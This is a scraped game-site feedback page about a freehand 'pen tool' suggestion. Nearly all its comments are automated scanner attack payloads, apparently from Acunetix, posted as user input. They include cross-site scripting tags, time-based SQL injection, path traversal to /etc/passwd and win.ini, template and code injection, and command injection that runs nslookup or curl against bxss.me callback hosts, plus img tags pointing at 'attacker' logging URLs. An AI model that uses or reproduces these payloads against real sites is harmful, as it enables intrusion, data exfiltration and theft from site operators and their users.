Feedback

Pen tool by Cblackdragon - 149 months ago

Instead of using lines, freehand! ^.^

• Amarnes

  I agree. It would help us bad creators because then we could make better ships and we could KICK MORE ASS!!!!!!!

• lxbfYeaa

  1

• lxbfYeaa

  1

• lxbfYeaa

  1

• Testing

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1Brx76yT6IO

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• 1rlaZ0miAO

  1

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  file:///etc/passwd

• WfxYANoW

  ${10000092+9999370}

• Anonymous

  1

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• ${10000185+10000463}

  1

• WfxYANoW

  response.write(9103188*9838949)

• WfxYANoW

  echo gxczlu$()\ shholn\nz^xyu||a #' &echo gxczlu$()\ shholn\nz^xyu||a #|" &echo gxczlu$()\ shholn\nz^xyu||a #

• WfxYANoW

  Aed1vi1E

• WfxYANoW

  1

• WfxYANoW

  mEll9sTl: 3opwmnoJ

• WfxYANoW

  '+response.write(9103188*9838949)+'

• WfxYANoW

  ../1

• WfxYANoW

  "+response.write(9103188*9838949)+"

• WfxYANoW

  /etc/shells

• WfxYANoW

  1&n951634=v909662

• BKOKb9b0

  1

• response.write(9377602*9400131)

  1

• WfxYANoW

  &echo trpwhv$()\ wwrrqp\nz^xyu||a #' &echo trpwhv$()\ wwrrqp\nz^xyu||a #|" &echo trpwhv$()\ wwrrqp\nz^xyu||a #

• file:///etc/passwd

  1

• WfxYANoW

  1&echo frpcwa$()\ efvmko\nz^xyu||a #' &echo frpcwa$()\ efvmko\nz^xyu||a #|" &echo frpcwa$()\ efvmko\nz^xyu||a #

• '+response.write(9377602*9400131)+'

  1

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  1

• WfxYANoW

  |echo bbuuox$()\ gfganp\nz^xyu||a #' |echo bbuuox$()\ gfganp\nz^xyu||a #|" |echo bbuuox$()\ gfganp\nz^xyu||a #

• WfxYANoW

  c:/windows/win.ini

• "+response.write(9377602*9400131)+"

  1

• wsjXaX4H: JBo6inHA

  1

• WfxYANoW

  bxss.me

• ../WfxYANoW

  1

• WfxYANoW&n951187=v904543

  1

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  '.gethostbyname(lc('hitwx'.'ibhbqrup75050.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(77).chr(112).chr(68).'

• WfxYANoW

  1|echo guvbdf$()\ zgmddz\nz^xyu||a #' |echo guvbdf$()\ zgmddz\nz^xyu||a #|" |echo guvbdf$()\ zgmddz\nz^xyu||a #

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  ".gethostbyname(lc("hitgm"."zdjjqcio170f1.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(76).chr(121).chr(89)."

• WfxYANoW

  ';print(md5(31337));$a='

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• WfxYANoW

  )

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  (nslookup -q=cname hitnoxggzpltha3dac.bxss.me||curl hitnoxggzpltha3dac.bxss.me))

• WfxYANoW

  gethostbyname(lc('hitli'.'nwvnddzqae094.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(76).chr(122).chr(80)

• WfxYANoW

  ${@print(md5(31337))}

• http://bxss.me/t/fit.txt?.jpg

  1

• cGpCbHBFblE=

  1

• WfxYANoW

  1

• /etc/shells

  1

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  xfs.bxss.me

• WfxYANoW

  ${@print(md5(31337))}\

• xfs.bxss.me

  1

• )

  1

• c:/windows/win.ini

  1

• WfxYANoW

  '"()

• !(()&&!|*|*|

  1

• WfxYANoW

  '.print(md5(31337)).'

• WfxYANoW

  1'&&sleep(27*1000)*scyrlu&&'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• bxss.me

  1

• WfxYANoW

  1

• WfxYANoW

  '"

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(101).concat(65).concat(118).concat(83)+(require"socket" Socket.gethostbyname("hitcf"+"uyeruszt9e19b.bxss.me.")[3].to_s)+"

• WfxYANoW

  1'"()&%<zzz><ScRiPt >1ea5(9544)</ScRiPt>

• ^(#$!@#$)(()))******

  1

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(99).concat(81)+(require'socket' Socket.gethostbyname('hityo'+'benkvwno23b46.bxss.me.')[3].to_s)+'

• WfxYANoW

  $(nslookup -q=cname hitifujrkjxtg5ad0a.bxss.me||curl hitifujrkjxtg5ad0a.bxss.me)

• WfxYANoW

  <!--

• WfxYANoW

  comment

• '"

  1

• <!--

  1

• WfxYANoW

  &nslookup -q=cname hitgpchzsfgyq3c0ce.bxss.me&'\"`0&nslookup -q=cname hitgpchzsfgyq3c0ce.bxss.me&`'

• WfxYANoW

  bxss.me/t/xss.html?%00

• WfxYANoW

  1"&&sleep(27*1000)*xgcuvr&&"

• HttP://bxss.me/t/xss.html?%00

  1

• WfxYANoW

  comment

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(98).concat(69).concat(102).concat(68)+(require'socket' Socket.gethostbyname('hitdy'+'vbhdchmw8da5b.bxss.me.')[3].to_s)

• WfxYANoW

  comment/.

• WfxYANoW

  '"()&%<zzz><ScRiPt >1ea5(9451)</ScRiPt>

• WfxYANoW

  &(nslookup -q=cname hitxlrtuurkhs632b2.bxss.me||curl hitxlrtuurkhs632b2.bxss.me)&'\"`0&(nslookup -q=cname hitxlrtuurkhs632b2.bxss.me||curl hitxlrtuurkhs632b2.bxss.me)&`'

• WfxYANoW

  1'||sleep(27*1000)*gpminq||'

• WfxYANoW

  |(nslookup -q=cname hitfwxywiouqa3da01.bxss.me||curl hitfwxywiouqa3da01.bxss.me)

• WfxYANoW

  1"||sleep(27*1000)*bycznq||"

• comment

  1

• comment

  1

• WfxYANoW

  1

• comment/.

  1

• ';print(md5(31337));$a='

  1

• WfxYANoW

  19537766

• bxss.me/t/xss.html?%00

  1

• WfxYANoW

  `(nslookup -q=cname hitgdqtvwqzeo96b49.bxss.me||curl hitgdqtvwqzeo96b49.bxss.me)`

• ";print(md5(31337));$a="

  1

• '"()

  1

• ${@print(md5(31337))}

  1

• WfxYANoW

  ;(nslookup -q=cname hitzzpabkuypw0269f.bxss.me||curl hitzzpabkuypw0269f.bxss.me)|(nslookup -q=cname hitzzpabkuypw0269f.bxss.me||curl hitzzpabkuypw0269f.bxss.me)&(nslookup -q=cname hitzzpabkuypw0269f.bxss.me||curl hitzzpabkuypw0269f.bxss.me)

• WfxYANoW'&&sleep(27*1000)*ejcsbu&&'

  1

• ${@print(md5(31337))}\

  1

• '.print(md5(31337)).'

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitabnvfdzkxo98969.bxss.me||curl${IFS}hitabnvfdzkxo98969.bxss.me)

• WfxYANoW"&&sleep(27*1000)*mltyor&&"

  1

• WfxYANoW

  bfg4103＜s1﹥s2ʺs3ʹhjl4103

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitcxgokuwwfx709cc.bxss.me||curl${IFS}hitcxgokuwwfx709cc.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcxgokuwwfx709cc.bxss.me||curl${IFS}hitcxgokuwwfx709cc.bxss.me)&`'

• WfxYANoW'||sleep(27*1000)*vrmubd||'

  1

• WfxYANoW"||sleep(27*1000)*ibaleu||"

  1

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  1

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >1ea5(9802)</ScRiPt>

• WfxYANoW

  1<WNSY7H>EESQM[!+!]</WNSY7H>

• WfxYANoW

  1<script>1ea5(9536)</script>

• WfxYANoW

  1<script>1ea5(9384)</script>9384

• WfxYANoW

  1<ScR<ScRiPt>IpT>1ea5(9847)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >1ea5(9375)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9355></ScRiPt>

• WfxYANoW

  14Kp2AjEA

• WfxYANoW

  1<ScRiPt >1ea5(9322)</ScRiPt>

• WfxYANoW

  1<isindex type=image src=1 onerror=1ea5(9446)>

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9910'>

• WfxYANoW

  1<body onload=1ea5(9089)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=1ea5(9268)>

• WfxYANoW

  1<img src=xyz OnErRor=1ea5(9279)>

• WfxYANoW

  1<img/src=">" onerror=alert(9436)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%31%65%61%35%289143%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\1ea5(9324)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;1ea5(9063)&lt;/sCripT&gt;

• WfxYANoW

  1

• WfxYANoW

  -1 OR 2+23-23-1=0+0+0+1 --

• WfxYANoW

  1<input autofocus onfocus=1ea5(9015)>

• WfxYANoW

  -1 OR 2+48-48-1=0+0+0+1

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  -1' OR 2+790-790-1=0+0+0+1 --

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  -1' OR 2+234-234-1=0+0+0+1 or '2j9NunZC'='

• WfxYANoW

  1}body{zzz:Expre/**/SSion(1ea5(9985))}

• WfxYANoW

  -1" OR 2+809-809-1=0+0+0+1 --

• WfxYANoW

  1jrelU <ScRiPt >1ea5(9732)</ScRiPt>

• WfxYANoW

  1<WEGFSY>CEI64[!+!]</WEGFSY>

• WfxYANoW

  1<ifRAme sRc=9696.com></IfRamE>

• WfxYANoW

  1<asHCJvg x=9466>

• WfxYANoW

  1<img sRc='http://attacker-9222/log.php?

• WfxYANoW

  1<arXJrMc<

• WfxYANoW'"()&%<zzz><ScRiPt >1ea5(9355)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >1ea5(9380)</ScRiPt>

  1

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW9888241

  1

• bfg1812＜s1﹥s2ʺs3ʹhjl1812

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >1ea5(9123)</ScRiPt>

  1

• WfxYANoW<W22NUO>TJULE[!+!]</W22NUO>

  1

• WfxYANoW<script>1ea5(9060)</script>

  1

• WfxYANoW<script>1ea5(9387)</script>9387

  1

• WfxYANoW<ScRiPt >1ea5(9915)</ScRiPt>

  1

• WfxYANoW<ScRiPt >1ea5(9975)</ScRiPt>

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<body onload=1ea5(9146)>

  1

• WfxYANoW<img src=xyz OnErRor=1ea5(9711)>

  1

• WfxYANoW<img/src=">" onerror=alert(9699)>

  1

• WfxYANoW\u003CScRiPt\1ea5(9666)\u003C/sCripT\u003E

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW&lt;ScRiPt&gt;1ea5(9486)&lt;/sCripT&gt;

  1

• WfxYANoW<input autofocus onfocus=1ea5(9731)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(1ea5(9347))}

  1

• WfxYANoWGxIBq <ScRiPt >1ea5(9269)</ScRiPt>

  1

• WfxYANoW<WQRUEC>RNZXU[!+!]</WQRUEC>

  1

• WfxYANoW<ifRAme sRc=9345.com></IfRamE>

  1

• WfxYANoW<aO46CQ3 x=9665>

  1

• WfxYANoW<img sRc='http://attacker-9841/log.php?

  1

• WfxYANoW<aKU3pFY<

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1PopKAlyJ'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 810=(SELECT 810 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 568=(SELECT 568 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 245=(SELECT 245 FROM PG_SLEEP(15))--

• WfxYANoW

  1EXOefOYB' OR 939=(SELECT 939 FROM PG_SLEEP(15))--

• WfxYANoW

  1yqK26247') OR 382=(SELECT 382 FROM PG_SLEEP(15))--

• WfxYANoW

  1gn7jRSCi')) OR 195=(SELECT 195 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@EuziD

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWFGxRI0pP

  1

• WfxYANoW

  1

• -1 OR 2+553-553-1=0+0+0+1 --

  1

• -1 OR 2+495-495-1=0+0+0+1

  1

• -1' OR 2+663-663-1=0+0+0+1 --

  1

• -1' OR 2+221-221-1=0+0+0+1 or 'pNWHuhFO'='

  1

• -1" OR 2+318-318-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWe2L5sBsL'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@Es631

  1

• Pecedec150

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• ubaTaeCJ

  1

• User #246063

  1

• lhpamyml

  1

• vqfwwfow

  response.write(9922406*9771365)

• ndjjwrpt

  1

• vqfwwfow

  '+response.write(9922406*9771365)+'

• ndjjwrpt

  1

• vqfwwfow

  "+response.write(9922406*9771365)+"

• ndjjwrpt

  y5431K88

• response.write(9144373*9775273)

  1

• ucaaokxn

  set|set&set

• ndjjwrpt

  -1 OR 2+333-333-1=0+0+0+1 --

• '+response.write(9144373*9775273)+'

  1

• ucaaokxn

  $(nslookup zvX1AG9D)

• vbwxvula

  RtHTP9Pi

• ndjjwrpt

  -1 OR 2+530-530-1=0+0+0+1

• "+response.write(9144373*9775273)+"

  1

• ucaaokxn

  &nslookup une7pDCa&'\"`0&nslookup une7pDCa&`'

• ipHVV1vB

  1

• ndjjwrpt

  -1' OR 2+797-797-1=0+0+0+1 --

• bccyhrnv

  ../../../../../../../../../../etc/passwd

• eddgcwql

  1

• set|set&set

  1

• mjdaeemj

  ${9999645+10000325}

• ndjjwrpt

  -1' OR 2+40-40-1=0+0+0+1 or 'HRTrmj1r'='

• bccyhrnv

  ../../../../../../../../../../../../../../../proc/version

• uhbqoqxy

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• $(nslookup PowORCmp)

  1

• ${10000105+10000205}

  1

• ndjjwrpt

  -1" OR 2+974-974-1=0+0+0+1 --

• bccyhrnv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uhbqoqxy

  1some_inexistent_file_with_long_name.jpg

• &nslookup sTwSgrsB&'\"`0&nslookup sTwSgrsB&`'

  1

• aVZSdDR3Y0c=

  1

• kmdmgeue

  1&n952036=v943931

• ndjjwrpt

  if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

• bccyhrnv

  ../../../../../../../../../../etc/passwd.jpg

• uhbqoqxy

  Http://testasp.vulnweb.com/t/fit.txt

• jbrnfipp

  )

• ndjjwrpt

  if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/

• bccyhrnv

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• uhbqoqxy

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• eddgcwql

  1

• jbrnfipp

  !(()&&!|*|*|

• cubkijrm

  '"()

• fdnvbvhq&n963919=v942756

  1

• ndjjwrpt

  (select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

• bccyhrnv

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• uhbqoqxy

  testasp.vulnweb.com

• Anonymous

  1

• jbrnfipp

  ^(#$!@#$)(()))******

• ndjjwrpt

  -1; waitfor delay '0:0:8' --

• bccyhrnv

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• )

  1

• '"()

  1

• injeibjt

  ;print(md5(acunetix_wvs_security_test));

• ndjjwrpt

  -1); waitfor delay '0:0:8' --

• bccyhrnv

  /etc/passwd

• 1some_inexistent_file_with_long_name.jpg

  1

• !(()&&!|*|*|

  1

• jacsjabb

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• injeibjt

  ';print(md5(acunetix_wvs_security_test));$a='

• ndjjwrpt

  1 waitfor delay '0:0:8' --

• bccyhrnv

  %2fetc%2fpasswd

• Http://testasp.vulnweb.com/t/fit.txt

  1

• mhwambai

  1

• ^(#$!@#$)(()))******

  1

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• injeibjt

  ";print(md5(acunetix_wvs_security_test));$a="

• ndjjwrpt

  5LfuGYga'; waitfor delay '0:0:8' --

• bccyhrnv

  /.././.././.././.././.././.././.././../etc/./passwd%00

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• mhwambai

  comment

• vqtrnlrd

  http://hitmZx3YsH2lJ.bxss.me/

• ejdjuptb

  1

• injeibjt

  ${@print(md5(acunetix_wvs_security_test))}

• ndjjwrpt

  -1;select pg_sleep(8); --

• bccyhrnv

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• testasp.vulnweb.com

  1

• mhwambai

  comment

• ejdjuptb

  1'"

• http://hitXTLHI3nYr0.bxss.me/

  1

• injeibjt

  ${@print(md5(acunetix_wvs_security_test))}\

• ndjjwrpt

  -1);select pg_sleep(12); --

• bccyhrnv

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• evgubykc

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• mhwambai

  comment/.

• ejdjuptb

  \

• spqaehrq

  /www.vulnweb.com

• ;print(md5(acunetix_wvs_security_test));

  1

• ndjjwrpt

  -1));select pg_sleep(12); --

• mhwambai

  1

• /www.vulnweb.com

  1

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• ndjjwrpt

  dbTcyEdC';select pg_sleep(12); --

• bccyhrnv

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• tmsyomes

  '"

• comment

  1

• ejdjuptb

  @@FJ03g

• crtymxei

  1'"()&%<acx><ScRiPt >eRkl(9315)</ScRiPt>

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• ndjjwrpt

  QWwrKxCx');select pg_sleep(12); --

• bccyhrnv

  file:///etc/passwd

• tmsyomes

  <!--

• comment

  1

• ejdjuptb

  JyI=

• ${@print(md5(acunetix_wvs_security_test))}

  1

• ndjjwrpt

  zXsRACfR'));select pg_sleep(12); --

• bccyhrnv

  /\../\../\../\../\../\../\../etc/passwd

• '"

  1

• comment/.

  1

• crtymxei

  '"()&%<acx><ScRiPt >eRkl(9257)</ScRiPt>

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• ndjjwrpt

  1

• bccyhrnv

  WEB-INF/web.xml

• <!--

  1

• ndjjwrpt

  1

• bccyhrnv

  /WEB-INF/web.xml

• ejdjuptb

  (select convert(int,CHAR(65)))

• crtymxei

  1_9072

• MWyfP91G

  1

• bccyhrnv

  WEB-INF\web.xml

• ejdjuptb

  1

• -1 OR 2+589-589-1=0+0+0+1 --

  1

• ../../../../../../../../../../etc/passwd

  1

• 1'"

  1

• -1 OR 2+57-57-1=0+0+0+1

  1

• crtymxei

  acu5084＜s1﹥s2ʺs3ʹuca5084

• \

  1

• -1' OR 2+266-266-1=0+0+0+1 --

  1

• -1' OR 2+347-347-1=0+0+0+1 or 'DuM5h9yd'='

  1

• ../../../../../../../../../../etc/passwd.jpg

  1

• @@KYePM

  1

• -1" OR 2+63-63-1=0+0+0+1 --

  1

• JyI=

  1

• crtymxei

  {{10000134*9999466}}

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• 1 waitfor delay '0:0:7' --

  1

• /etc/passwd

  1

• crtymxei

  1<ScRiPt >eRkl(9420)</ScRiPt>

• (select convert(int,CHAR(65)))

  1

• Ojx4VkJq'; waitfor delay '0:0:7' --

  1

• %2fetc%2fpasswd

  1

• xaQxJzeE';select pg_sleep(15); --

  1

• crtymxei

  1<WOY1IA>PKYSY[!+!]</WOY1IA>

• rzdBzhuY');select pg_sleep(15); --

  1

• uEr4GcPw'));select pg_sleep(15); --

  1

• crtymxei

  1<script>eRkl(9583)</script>

• crtymxei

  1<ScR<ScRiPt>IpT>eRkl(9275)</sCr<ScRiPt>IpT>

• file:///etc/passwd

  1

• crtymxei

  1<ScRiPt >eRkl(9265)</ScRiPt>

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• crtymxei

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9613></ScRiPt>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• crtymxei

  1<ScRiPt >eRkl(9968)</ScRiPt>

• crtymxei

  1<video><source onerror="javascript:eRkl(9541)">

• crtymxei

  1<isindex type=image src=1 onerror=eRkl(9091)>

• crtymxei

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9121'>

• crtymxei

  1<body onload=eRkl(9024)>

• crtymxei

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=eRkl(9119)>

• crtymxei

  1<img src=xyz OnErRor=eRkl(9623)>

• crtymxei

  1<img/src=">" onerror=alert(9517)>

• crtymxei

  %31%3C%53%63%52%69%50%74%20%3E%65%52%6B%6C%289352%29%3C%2F%73%43%72%69%70%54%3E

• crtymxei

  1\u003CScRiPt\eRkl(9110)\u003C/sCripT\u003E

• crtymxei

  1&lt;ScRiPt&gt;eRkl(9866)&lt;/sCripT&gt;

• crtymxei

  1<input autofocus onfocus=eRkl(9020)>

• crtymxei

  <a HrEF=http://www.vulnweb.com></a>

• crtymxei

  <a HrEF=jaVaScRiPT:>

• crtymxei

  [url=http://www.vulnweb.com][/url]

• crtymxei

  1<img<!-- --> src=x onerror=alert(9157);//><!-- -->

• crtymxei

  1}body{acu:Expre/**/SSion(eRkl(9024))}

• crtymxei

  1<% contenteditable onresize=eRkl(9252)>

• crtymxei

  1_bNF93 <ScRiPt >eRkl(9367)</ScRiPt>

• crtymxei

  1<WJL6WS>CBLSA[!+!]</WJL6WS>

• crtymxei

  1<ifRAme sRc=9324.com></IfRamE>

• crtymxei

  1<UJTmEi x=9529>

• crtymxei

  1<img sRc='http://attacker-9485/log.php?

• crtymxei'"()&%<acx><ScRiPt >eRkl(9233)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >eRkl(9057)</ScRiPt>

  1

• crtymxei_9192

  1

• acu5780＜s1﹥s2ʺs3ʹuca5780

  1

• {{10000374*10000495}}

  1

• crtymxei<ScRiPt >eRkl(9567)</ScRiPt>

  1

• crtymxei<W4RRU7>M3WWE[!+!]</W4RRU7>

  1

• crtymxei<script>eRkl(9329)</script>

  1

• crtymxei<ScRiPt >eRkl(9689)</ScRiPt>

  1

• crtymxei<ScRiPt >eRkl(9420)</ScRiPt>

  1

• crtymxei<body onload=eRkl(9844)>

  1

• crtymxei<img src=xyz OnErRor=eRkl(9239)>

  1

• crtymxei<img/src=">" onerror=alert(9553)>

  1

• crtymxei\u003CScRiPt\eRkl(9036)\u003C/sCripT\u003E

  1

• crtymxei&lt;ScRiPt&gt;eRkl(9649)&lt;/sCripT&gt;

  1

• crtymxei<input autofocus onfocus=eRkl(9513)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• crtymxei}body{acu:Expre/**/SSion(eRkl(9867))}

  1

• crtymxei<% contenteditable onresize=eRkl(9640)>

  1

• crtymxei_tppSm <ScRiPt >eRkl(9614)</ScRiPt>

  1

• crtymxei<WOHOOG>9EFFQ[!+!]</WOHOOG>

  1

• crtymxei<ifRAme sRc=9565.com></IfRamE>

  1

• crtymxei<unq45i x=9715>

  1

• crtymxei<img sRc='http://attacker-9304/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8065 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2858 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  799 agree

• editro
  By critic - 155 months ago
  Unvote

  772 agree

• Missiles as an Third Weapon
  By Ram - 151 months ago
  Unvote

  747 agree

• Youtube B-wing achievement
  By chuck norris - 153 months ago
  Unvote

  746 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 111 months ago
  Unvote

  710 agree

• Change Name?
  By Anonymous - 155 months ago
  Unvote

  681 agree

• Slide ship in on start
  By Kickass guy - 155 months ago
  Unvote

  661 agree

• Mistaken Website Bug
  By CrazyDeathling - 153 months ago
  Unvote

  661 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 150 months ago
  Unvote

  645 agree

• Rank list & Leaderboards
  By StoleYourFood - 149 months ago
  Unvote

  632 agree

• What browsers are supported?
  By Jack - 151 months ago
  Unvote

  623 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  622 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  603 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
